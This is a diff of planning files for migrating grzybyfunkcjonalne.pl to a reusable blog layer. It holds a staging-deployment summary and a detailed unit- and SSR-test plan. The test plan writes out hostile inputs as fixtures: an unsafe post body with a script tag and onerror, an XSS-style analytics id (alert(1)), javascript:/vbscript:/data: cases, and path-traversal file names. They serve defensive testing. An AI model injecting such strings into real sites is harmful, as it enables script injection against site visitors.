+- **Basic-auth gate kept** (operator decision with the "installed" reply). Staging is not public. The geo realm turns auth off for 127.0.0.1 and ::1 only, so smoke and curl checks run on the server. The ACME webroot location has `auth_basic off`, so renewals keep working. Production drops the gate.
+- **Host name `uat.grzybyfunkcjonalne.pl`.** It follows the server's existing UAT convention and its existing certificate.
+- **`--skip first-journal-post`.** This resolves the 16-03 deferred item for staging: Go serves the same 62 posts the live sitemap lists.
+- **No database drop after the featured-image failure.** Steps 1 to 6 had succeeded, the featured-image import is idempotent, and the failed write left no row behind (the resumed run reported 95 created, 0 skipped). Running steps 7 to 9 with the identical commands gives the same end state as a fresh full run, without root access to drop and recreate the database.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] Featured-image import failed with "invalid cross-device link"**
+- **Found during:** Task 2 (runbook, step 7).
+- **Issue:** gocloud's fileblob writes temp files to `os.TempDir()` and renames them into the bucket. `/tmp` on the server is tmpfs, so the rename fails. Admin uploads would fail the same way.
+- **Fix:** set `bucket_url: "file://./storage/app/uploads/public?no_tmp_dir=true"` in the host config, upload it, and run steps 7 to 9 with the same commands.
+- **Files modified:** `../sm-grzybyfunkcjonalne-app/config/storage.yaml`
+- **Verification:** 95 created, 0 failed; the featured images answer 200 on staging.
+- **Committed in:** 6ef012e
+- **Follow-up:** a framework default in `modules/lagoon/attach`, logged in deferred-items.md and not touched here (another session owns `modules/`).
+
+**2. [Rule 3 - Blocking] Runbook resumed at step 7 instead of drop-and-rerun**
+- **Found during:** Task 2.
+- **Issue:** The plan says a failed run means dropping and recreating the database. The executor has no root or CREATEDB rights for that.
+- **Fix:** a one-off script ran migrate.sh steps 7 to 9 verbatim (same normalized and skipped export copy, same SQL, same gap report). The script was removed from the server afterwards.
+- **Verification:** 95 featured images, 0 published posts without an image, 62 published.
+- **Committed in:** none (operational step); documented in DEPLOY.md.
+
+**3. [Rule 1 - Bug] Media images answered 403**
+- **Found during:** Task 3 (smoke: `remote 200 /storage/app/media/las.webp` got 403).
+- **Issue:** `rsync -a` kept the PHP media directory's mode 0776, which www-data cannot traverse.
+- **Fix:** the migrate.sh media step now sets modes with `--chmod=Dug=rwx,Do=rx,Fug=rw,Fo=r`. The uploaded script was used to re-sync the media on the server (idempotent; the PHP directory was only read).
+- **Files modified:** `../sm-grzybyfunkcjonalne-app/scripts/migrate.sh`
+- **Verification:** smoke `ok (98 urls)`; las.webp and Artur Wolak.png answer 200 image/* with nosniff.
+- **Committed in:** faae3c0
+
+**4. [Operator decision] Verify commands run on the server**
+- **Issue:** The plan's verify commands curl `$STAGING_URL` from the executor's machine. Because of the kept UAT gate, they answer 401 there.
+- **Fix:** run on the server with curl resolving the host to 127.0.0.1, which exercises the real vhost and TLS. The recipe is in DEPLOY.md, "Smoke".
+
+**5. [Server constraint] .env owner and mode**
+- **Issue:** The plan asks for `root:grzybyfunkcjonalne 0640`. The executor has no root.
+- **Fix:** the files belong to the single deploy and service user, mode 0600, as recorded in b488fdd and in the env templates.
+
+---
+
+**Total deviations:**
+
+- 3 auto-fixed: 2 blocking, 1 bug.
+- 2 adaptations to server constraints and operator decisions.
+
+**Impact on plan:** The fixes were needed to serve images on this server. No scope creep, and the live site was not modified.
+
+## Issues Encountered
+
+- `scripts/smoke.sh --go-only` could not run locally to pre-check the storage change: there is no Docker socket access and `SMOKE_ADMIN_DSN` is not set. The server run was the verification.
+
+## User Setup Required
+
+None beyond what the operator already did. The pending human visual check is tracked under coverage D5.
+
+## Next Phase Readiness
+
+- Staging serves the site end to end, so SC-1 is met on staging (D-18) and SC-3 is proven against every live URL. Plan 16-05 (unit tests) can proceed.
+- Before the production cutover:
+  - the human visual approval;
+  - the deferred items (`journal-imported-html-admin-resave`, the cta.png size);
+  - the steps in DEPLOY.md, "Production cutover".
+
+## Self-Check: PASSED
+
+- `../sm-grzybyfunkcjonalne-app/DEPLOY.md`: FOUND.
+- `../sm-grzybyfunkcjonalne-app/config/storage.yaml`: FOUND.
+- `../sm-grzybyfunkcjonalne-app/scripts/migrate.sh`: FOUND.
+- Commits b488fdd, 97cfd31, 6ef012e, faae3c0 and c797ab9: FOUND in sm-grzybyfunkcjonalne-app and on origin/master.
+
+---
+*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
+*Completed: 2026-10-09*

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-05-PLAN.md

@@ -0,0 +1,278 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 05
+type: execute
+wave: 5
+depends_on: ["16-04"]
+files_modified:
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/analytics.test.ts
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/content.test.ts
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
+  - ../vue-journal-layer/package.json
+  - ../vue-journal-layer/README.md
+  - ../vue-journal-layer/tests/routes.test.ts
+  - ../vue-journal-layer/tests/client.test.ts
+  - ../vue-journal-layer/tests/pagination.test.ts
+  - ../vue-journal-layer/tests/htmlGate.test.ts
+  - ../vue-journal-layer/tests/sitemap.test.ts
+  - ../vue-journal-layer/tests/seo.test.ts
+  - ../vue-journal-layer/tests/i18n.test.ts
+  - ../sm-grzybyfunkcjonalne-app/boot_test.go
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/testmain_test.go
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images_test.go
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories_test.go
+  - ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/export/badania-nad-cordycepsem.json
+  - scripts/check-phase16.sh
+  - .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md
+autonomous: true
+requirements: [SC-4]
+user_setup:
+  - service: local PostgreSQL (Go integration tests)
+    why: "Docker is not usable for this user; the grzyby console integration tests need a Postgres >= 15 with ICU through an admin DSN, or Docker for testcontainers"
+    env_vars:
+      - name: GRZYBY_TEST_ADMIN_DSN
+        source: "Same kind of DSN as SMOKE_ADMIN_DSN (maintenance database, role with CREATEDB); may be the same value"
+estimate:
+  tokens: 120000
+  raw_tokens: 120000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "SC-4 / CLAUDE.md rule 3: every piece of new phase code has unit tests in this last plan: layer utils (node --test), the site app (node --test, including an SSR test of the built server against the fixture API) and the app-local Go commands (go test)."
+    - "D-15: the SSR test asserts the status of every PHP URL form on the built app, including static routes beating /:category (RESEARCH A2) and real 404s for unknown roots, /404, /error and out-of-range or non-numeric pages (A5)."
+    - "D-16: the SSR test asserts /en and /en/blog answer 404 and pl strings render without a prefix."
+    - "D-23: the SSR test asserts no analytics without NUXT_PUBLIC_GA_ID, gtag for G-MLSV7WJ6W4 with it, and no script for a malformed id."
+    - "D-06/D-13/D-24: layer unit tests cover route normalization, sitemap entries built from journal.routes, include_empty=1 on every categories request and canonical page titles."
+    - "T-16-01: htmlGate tests mirror the Go TestFormatHTMLRejectsUnsafeHTML cases (script, iframe, event handler, javascript:, vbscript:, data:) and the SSR test proves an unsafe fixture body renders the blocked notice."
+    - "D-22: Go tests prove grzyby:import-featured-images writes the blob at attach.BlobKey(disk_name) and the system_files row, is idempotent, resolves base slugs through the export, and refuses traversal disk names (T-16-12)."
+    - "D-21: Go tests prove grzyby:import-categories prefers pl values, writes the content field, and reports unchanged on a re-run."
+    - "D-09: the boot test asserts backend.uri resolves to /gfadmin, admin routes live under /gfadmin/ and none under /backend (T-16-10)."
+    - "Pure tests never touch the network or a database; DB tests use only throwaway databases they create (T-16-23) and fail, not skip, when no database is available outside -short."
+    - "go vet and go test stay green in every Go repo touched; scripts/check-phase16.sh --all ends with Phase 16 gate passed."
+  artifacts:
+    - path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts"
+      provides: "SSR test of the built server against the fixture API"
+      contains: "startNuxtServer"
+    - path: "../vue-journal-layer/tests/htmlGate.test.ts"
+      provides: "Go-parity cases for the HTML gate"
+      contains: "vbscript"
+    - path: "../vue-journal-layer/tests/routes.test.ts"
+      provides: "journal.routes normalization and path filling"
+      contains: "normalizeJournalRoutes"
+    - path: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images_test.go"
+      provides: "D-22 command tests"
+      contains: "TestImportFeaturedImages"
+    - path: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories_test.go"
+      provides: "D-21 command tests"
+      contains: "TestImportCategories"
+    - path: "scripts/check-phase16.sh"
+      provides: "fail-closed phase gate across the three repos"
+      contains: "Phase 16 gate passed"
+  key_links:
+    - from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts"
+      to: "../vue-journal-layer/testing/fixture-api.mjs and nuxt-server.mjs"
+      via: "imported from node_modules/vue-journal-layer/testing (plain .mjs, no type stripping needed)"
+      pattern: "vue-journal-layer/testing"
+    - from: "../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/testmain_test.go"
+      to: "Postgres (GRZYBY_TEST_ADMIN_DSN or testcontainers)"
+      via: "creates grzyby_test_<random> with ICU pl-PL, migrates translate, journal and attach tables, drops it on exit"
+      pattern: "GRZYBY_TEST_ADMIN_DSN"
+    - from: "scripts/check-phase16.sh"
+      to: "layer, app and host test commands"
+      via: "fails on FAIL, SKIP, no tests to run, not ok, or a missing named PASS line"
+      pattern: "no tests to run"
+---
+
+## Phase Goal
+
+ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
+
+MVP_MODE note: no user story is invented; run `/msd-mvp-phase 16` to reframe the Goal line if wanted.
+
+This plan's slice: one SSR test boots the built site against the fixture API and proves the URL map end to end; then unit tests cover every layer util, the app utils and the Go commands, and one gate script runs them all.
+
+<objective>
+Deliver full unit test coverage for Phase 16 code as the phase's last plan (CLAUDE.md rule 3, SC-4): the built site (SSR), the layer utils, the app utils and content, the app-local Go commands and the host boot, plus a fail-closed phase gate and the validation sign-off.
+
+Purpose: SC-4.
+Output: test files in the three repos, `scripts/check-phase16.sh`, an updated 16-VALIDATION.md.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-02-SUMMARY.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-03-SUMMARY.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-SUMMARY.md
+@../sm-summercmsio-app/vue-summercmsio-app/tests/scrollSpy.test.ts
+@../sm-summercmsio-app/vue-summercmsio-app/tests/output.test.ts
+@../sm-journal-plugin/admin_harness_test.go
+@../sm-journal-plugin/classes/format_html_test.go
+@scripts/check-phase15.sh
+</context>
+
+## Spec-less probe fallback
+
+Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP SC-1..SC-4 and CONTEXT D-01..D-25 are the source of truth for must_haves.
+
+## Artifacts this phase produces
+
+- Package scripts `test` (`node --test --test-reporter=tap tests/*.test.ts`) in `vue-journal-layer` and `vue-grzybyfunkcjonalne-app`.
+- Layer tests `tests/{routes,client,pagination,htmlGate,sitemap,seo,i18n}.test.ts`.
+- App tests `tests/ssr.test.ts`, `tests/analytics.test.ts`, `tests/content.test.ts`; fixture post `test-niebezpieczny-wpis` (unsafe body) with matching expect lines.
+- Go tests `TestReadFeaturedImageMap`, `TestValidDiskName`, `TestFeaturedImageSourceEscape`, `TestImportFeaturedImages`, `TestImportFeaturedImagesDryRun`, `TestReadCategoryMap`, `TestImportCategories` (package `console` of plugin `golem15.grzyby`), harness `TestMain` with env `GRZYBY_TEST_ADMIN_DSN`; host tests `TestBackendURIGfadmin`, `TestGrzybyCommandsRegistered`.
+- Gate script `scripts/check-phase16.sh` (summercms.go, Phase 15 precedent `scripts/check-phase15.sh`) with `--all`, env overrides `PHASE16_LAYER`, `PHASE16_HOST`, ending with `Phase 16 gate passed`.
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Tracer test — the built site answers every PHP URL form correctly against the fixture API (tests/ssr.test.ts)</name>
+  <files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app</files>
+  <read_first>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json, ../vue-journal-layer/testing/fixture-api.mjs, ../vue-journal-layer/testing/nuxt-server.mjs, ../sm-summercmsio-app/vue-summercmsio-app/tests/output.test.ts, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (URL Inventory, Validation Architecture), .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-15, D-16, D-23, D-24)</read_first>
+  <action>Add the package script test = node --test --test-reporter=tap tests/*.test.ts and a README line that pnpm build must run before pnpm test (the summercms.io output.test.ts convention). Add fixture post test-niebezpieczny-wpis whose content_html contains a script tag and an onerror attribute, and an expect.txt line 200 /blog/test-niebezpieczny-wpis contains=journal-post-body--blocked notcontains=onerror.
+
+tests/ssr.test.ts imports startFixtureApi from vue-journal-layer/testing/fixture-api.mjs and startNuxtServer from vue-journal-layer/testing/nuxt-server.mjs (resolved from node_modules; plain .mjs because Node does not strip types there). before() asserts .output/server/index.mjs exists (failing with "run pnpm build before pnpm test") and boots the fixture API and the server (default env); after() closes both. Tests, each a plain test() with node:assert/strict, fetching with redirect manual:
+- D-15 status table: 200 for /, /blog, /blog?page=2, /blog/blogbadania-nad-cordycepsem, /cordyceps, /amanita-muscaria, /kontakt, /trwaja-prace, /autor/admin, /rss.xml, /sitemap.xml, /robots.txt; 404 for /blog?page=3, /blog?page=abc, /blog?page=0, /nieistnieje, /rss, /feed, /404, /error, /blog/badania-nad-cordycepsem, /autor/nobody, /blog/tag/anything.
+- static routes win over /:category (RESEARCH A2): /kontakt contains mailto:kontakt@grzybyfunkcjonalne.pl and /trwaja-prace contains Niebawem.
+- canonical and titles: /blog?page=2 has a canonical link ending /blog?page=2 and a title containing Strona 2; the post page title contains | Grzyby Funkcjonalne (RESEARCH A6, A7).
+- D-16: /en and /en/blog answer 404; /blog contains the pl string Artykuły.
+- D-24 and D-21: /amanita-muscaria answers 200 with the empty-state string; /cordyceps contains Cordyceps w pigułce before the first post card.
+- T-16-01: /blog/test-niebezpieczny-wpis contains journal-post-body--blocked and no onerror; / contains no journal-post-body--blocked (FAQ and homepage copy pass the gate).
+- Pitfall 5: a request sent with X-Forwarded-For: 198.51.100.9 makes the fixture API record an x-forwarded-for value containing 198.51.100.9.
+- Content types: /rss.xml starts with application/rss+xml; /sitemap.xml lists /blog/blogbadania-nad-cordycepsem and /amanita-muscaria and not /trwaja-prace.
+- D-14: no page among /, /kontakt, /blog contains a form element.
+- D-23: a second server with NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4 renders googletagmanager.com/gtag/js?id=G-MLSV7WJ6W4 on /; the default server renders no googletagmanager; a third server with a malformed id (G-X');alert(1)//) renders no googletagmanager and no alert(1).
+Commit in the app (test: SSR test of the built site against the fixture API), push, and bump the host gitlink in a separate host commit.</action>
+  <verify>
+    <automated>pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app build &amp;&amp; pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app test</automated>
+    <fails_when>Non-zero exit; TAP output contains "not ok" or "# fail" with a count above 0; the "# pass" line is absent or 0.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - tests/ssr.test.ts passes on the built .output with every case above, under node --test with no skipped test.
+    - Removing the gate call from the layer PostBody would make the T-16-01 case fail (the case asserts the blocked class, not just a 200).
+    - The fixture API request log is asserted for the forwarded x-forwarded-for value.
+    - package.json has the test script; the host gitlink points at the pushed app commit.
+  </acceptance_criteria>
+  <done>The built site is proven against every PHP URL form, the locale, analytics and HTML-gate rules by an automated SSR test.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 2: Layer util tests and app util/content tests</name>
+  <files>../vue-journal-layer/package.json, ../vue-journal-layer/README.md, ../vue-journal-layer/tests/routes.test.ts, ../vue-journal-layer/tests/client.test.ts, ../vue-journal-layer/tests/pagination.test.ts, ../vue-journal-layer/tests/htmlGate.test.ts, ../vue-journal-layer/tests/sitemap.test.ts, ../vue-journal-layer/tests/seo.test.ts, ../vue-journal-layer/tests/i18n.test.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/analytics.test.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/content.test.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app</files>
+  <behavior>
+    - normalizeJournalRoutes: defaults round-trip; an override replaces one key and keeps the others; false disables; post without :slug, category without :category, or a path without a leading / throws an Error naming journal.routes.<key>.
+    - fillJournalPath('/blog/:slug', { slug: 'a b' }) encodes to /blog/a%20b; a slug with / is encoded per segment.
+    - clampPerPage: 0 → 1, 31 → 30, 'abc' → 9; buildPostListQuery emits page, per_page, sort, category, tag only when set.
+    - createJournalClient with a fake fetcher: listCategories always sends include_empty=1; findCategory finds a nested child; getPost returns null for errors with status 404 or statusCode 404 and rethrows a 500.
+    - parsePageParam: undefined → 1, '2' → 2, '0', '-1', '1.5', 'abc', ['2'] → null; pageOutOfRange(3, 2) true, (1, 0) false, (2, 2) false.
+    - htmlGate: the six Go cases (script, iframe, event handler, javascript:, vbscript:, data:) are unsafe, upper-case variants too; plain headings, tables and links are safe; gateJournalHtml returns { safe: false, html: '' } for unsafe input.
+    - buildJournalSitemapEntries: uses routes.post and routes.category (custom /:category gives /cordyceps), skips a false route, flattens nested categories, sets lastmod from updated_at.
+    - postSeoMeta: description falls back to the first 160 characters of the content text; og image becomes absolute; listTitle adds the page title only when page > 1.
+    - i18n: pl.json and en.json have identical leaf key sets and identical {name} interpolation tokens per key (for example {page}).
+    - app gaHeadScripts: '' and malformed ids give []; G-MLSV7WJ6W4 gives two scripts with the id in the loader src.
+    - app content: faq.pl.json has 16 items with non-empty question and answer_html; MAIN_MENU items have known kinds and every labelKey exists in pl.json; every t('…') key used in app/**/*.vue exists in pl.json or in the layer's journal.* keys.
+  </behavior>
+  <read_first>../vue-journal-layer/app/utils/routes.ts, ../vue-journal-layer/app/utils/client.ts, ../vue-journal-layer/app/utils/pagination.ts, ../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/utils/sitemap.ts, ../vue-journal-layer/app/utils/seo.ts, ../vue-journal-layer/i18n/locales/pl.json, ../vue-journal-layer/i18n/locales/en.json, ../sm-journal-plugin/classes/format_html_test.go, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-summercmsio-app/vue-summercmsio-app/tests/scrollSpy.test.ts, ../sm-summercmsio-app/vue-summercmsio-app/tests/output.test.ts (leaves helper)</read_first>
+  <action>Layer: add the package script test = node --test --test-reporter=tap tests/*.test.ts and a Testing line in the README. Write the seven test files from the behavior list, importing the utils with explicit .ts paths (scrollSpy.test.ts pattern) and a fake fetcher object for the client (no network). Reuse the summercms.io leaves() helper shape for i18n parity. If a test exposes a bug in a util, fix the util in the same repo (one logical change per commit), and when runtime code changed, tag the layer v0.1.1, bump the app's dependency and lockfile to it, and record that in the SUMMARY. Commit (test: Journal layer util tests) and push.
+
+App: tests/analytics.test.ts imports ../app/utils/analytics.ts; tests/content.test.ts reads app/data/faq.pl.json, imports ../app/data/menu.ts and scans app/**/*.vue for t('…') and $t('…') keys with a regex, resolving each against pl.json plus the layer's i18n/locales/pl.json read from node_modules/vue-journal-layer (as JSON, no TS import). Commit in the app (test: app util and content tests), push, bump the host gitlink in a separate host commit.</action>
+  <verify>
+    <automated>pnpm -C ../vue-journal-layer test &amp;&amp; pnpm -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app test</automated>
+    <fails_when>Non-zero exit; TAP output contains "not ok" or a "# fail" count above 0; either run lacks a "# pass" line with a count above 0.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - All seven layer test files and both app unit test files exist and pass under node --test with no skips.
+    - htmlGate.test.ts contains the six Go cases from sm-journal-plugin classes/format_html_test.go.
+    - client.test.ts asserts include_empty=1 on the categories request.
+    - i18n.test.ts fails if a key is added to pl.json without en.json.
+    - Any util fix is released as layer tag v0.1.1 and the app pins it (or the SUMMARY states no runtime change was needed).
+  </acceptance_criteria>
+  <done>Every layer util and app util/content rule has a passing unit test.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 3: Go tests for the grzyby commands and the host boot, phase gate script and validation sign-off</name>
+  <files>../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.sum, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/testmain_test.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images_test.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories_test.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/testdata/featured/export/badania-nad-cordycepsem.json, scripts/check-phase16.sh, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md</files>
+  <behavior>
+    - TestReadFeaturedImageMap: two valid lines and a blank line parse to 2 entries; invalid JSON on line 3 returns an error containing "line 3".
+    - TestValidDiskName: 665f1e2a3b4c5d6e7f8091.png is valid; ../x.png, a/b.png, x, .png, x.png/ and an empty string are invalid.
+    - TestFeaturedImageSourceEscape: a disk name that would resolve outside --source is refused and counted Failed without reading the file.
+    - TestImportFeaturedImages (Postgres): a published post with host slug blogbadania-nad-cordycepsem and a map entry keyed by the base slug badania-nad-cordycepsem with --export testdata/featured/export gives Created 1; the mem:// bucket holds attach.BlobKey(disk_name) with the source bytes; the system_files row has attachment_type Golem15\Journal\Models\Post, attachment_id equal to the post id as a string, field featured_images, the map's file_name, content_type and file_size; a second run gives Created 0 and Skipped 1; an unknown slug gives Failed 1; content type text/html gives Failed 1.
+    - TestImportFeaturedImagesDryRun: no blob, no row, stats report what would be created.
+    - TestReadCategoryMap and TestImportCategories (Postgres): pl translation values win over base; name, description and the D-21 content field are written; a re-run reports Unchanged; an unknown slug reports Failed.
+    - TestBackendURIGfadmin: compass.Load("config") gives backend.uri /gfadmin and cabana.AdminPrefix resolves /gfadmin; TestGrzybyCommandsRegistered: the activated golem15.grzyby plugin returns both command names.
+  </behavior>
+  <read_first>../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_featured_images.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/import_categories.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/console/helpers.go, ../sm-grzybyfunkcjonalne-app/plugins/grzyby/go.mod, ../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-journal-plugin/admin_harness_test.go (testcontainers harness, ICU database, fail-closed TestMain), ../summercms.go/modules/lagoon/attach/bucket_test.go (mem:// bucket in tests), ../summercms.go/modules/cabana/prefix.go, scripts/check-phase15.sh, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-VALIDATION.md</read_first>
+  <action>testmain_test.go (package console): when GRZYBY_TEST_ADMIN_DSN is set, create grzyby_test_<random hex> with TEMPLATE template0 ENCODING 'UTF8' LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL', and drop only that database in TestMain teardown; otherwise start testcontainers postgres (the image and options sm-journal-plugin admin_harness_test.go uses); with neither available and not -short, TestMain exits non-zero with a message naming GRZYBY_TEST_ADMIN_DSN (no false-green skip, Phase 2 house rule); with -short the DB tests call t.Skip and the pure tests still run. Migrate the translate, journal and attach (system_files) tables through the plugins' Migrations() as the journal harness does. Buckets are mem:// (import gocloud.dev/blob/memblob). testcontainers-go and its postgres module are STACK-named and already used by the plugins; add them to the plugin go.mod at the versions the journal plugin pins (v0.44.0). testdata/featured/export/badania-nad-cordycepsem.json holds the journal-export file shape with translations.pl.slug blogbadania-nad-cordycepsem.
+
+Write the Go tests from the behavior list as plain func TestX(t *testing.T) with testify-free stdlib assertions unless the plugin already uses testify (keep the journal plugin's style). Host boot_test.go gains TestBackendURIGfadmin and TestGrzybyCommandsRegistered next to the existing tests. If a test exposes a bug, fix it in the command in the same repo as a separate commit.
+
+scripts/check-phase16.sh (summercms.go, Phase 15 gate style: set -euo pipefail, unset FORCE_COLOR, PHASE16_LAYER default ../vue-journal-layer, PHASE16_HOST default ../sm-grzybyfunkcjonalne-app, usage, --all): stages (1) pnpm -C layer test; (2) layer build:playground and smoke-ssr over testing/expect-acme.txt; (3) app pnpm install --frozen-lockfile, build, test, smoke:ssr, smoke:ga; (4) go -C host vet ./... and go -C host test ./... -count=1 -v requiring PASS lines for TestBootUserTranslateJournal, TestCORS, TestBackendURIGfadmin, TestGrzybyCommandsRegistered; (5) go -C host/plugins/grzyby vet ./... and test ./... -count=1 -v -race requiring PASS lines for every Go test named in this task; (6) bash host/scripts/check-deploy.sh. Every stage fails on a non-zero exit, "--- FAIL", "--- SKIP", "no tests to run", "not ok", "DATA RACE" or a missing required PASS line. It ends with "Phase 16 gate passed".
+
+16-VALIDATION.md: bind each Per-Task Verification Map row to its plan and task (16-01-T2…16-05-T3), fill the Threat Ref column (T-16-01 htmlGate and SSR blocked-notice tests, T-16-10 boot tests, T-16-11 check-deploy, T-16-12 traversal tests, T-16-23 harness), mark rows green after the gate passes, tick the Wave 0 items, set wave_0_complete: true and nyquist_compliant: true. Commits: plugin tests and host tests (test: grzyby command and boot tests) in the host repo; the gate script (test: Phase 16 gate) and the VALIDATION update (docs: Phase 16 validation sign-off) as separate commits in summercms.go.</action>
+  <verify>
+    <automated>go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby vet ./... &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app/plugins/grzyby test ./... -count=1 -v -race -run '^(TestReadFeaturedImageMap|TestValidDiskName|TestFeaturedImageSourceEscape|TestImportFeaturedImages|TestImportFeaturedImagesDryRun|TestReadCategoryMap|TestImportCategories)$' &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app vet ./... &amp;&amp; go -C ../sm-grzybyfunkcjonalne-app test ./... -count=1 -v -run '^(TestBootUserTranslateJournal|TestCORS|TestBackendURIGfadmin|TestGrzybyCommandsRegistered)$'</automated>
+    <fails_when>Non-zero exit; output contains "--- FAIL", "--- SKIP", "no tests to run" or "DATA RACE"; any of the eleven named "--- PASS: Test…" lines is absent.</fails_when>
+    <automated>bash scripts/check-phase16.sh --all</automated>
+    <fails_when>Non-zero exit; the last line is not "Phase 16 gate passed".</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - Every Go test named in the behavior list prints --- PASS with -race, none skipped, against a throwaway database.
+    - The harness drops only the grzyby_test_<random> database it created.
+    - scripts/check-phase16.sh --all prints "Phase 16 gate passed".
+    - 16-VALIDATION.md has nyquist_compliant: true, wave_0_complete: true and every row bound to a plan task.
+    - go vet and go test ./... are green in sm-grzybyfunkcjonalne-app and plugins/grzyby.
+  </acceptance_criteria>
+  <done>The Go commands and host boot are covered by passing tests and one gate script proves the whole phase green.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
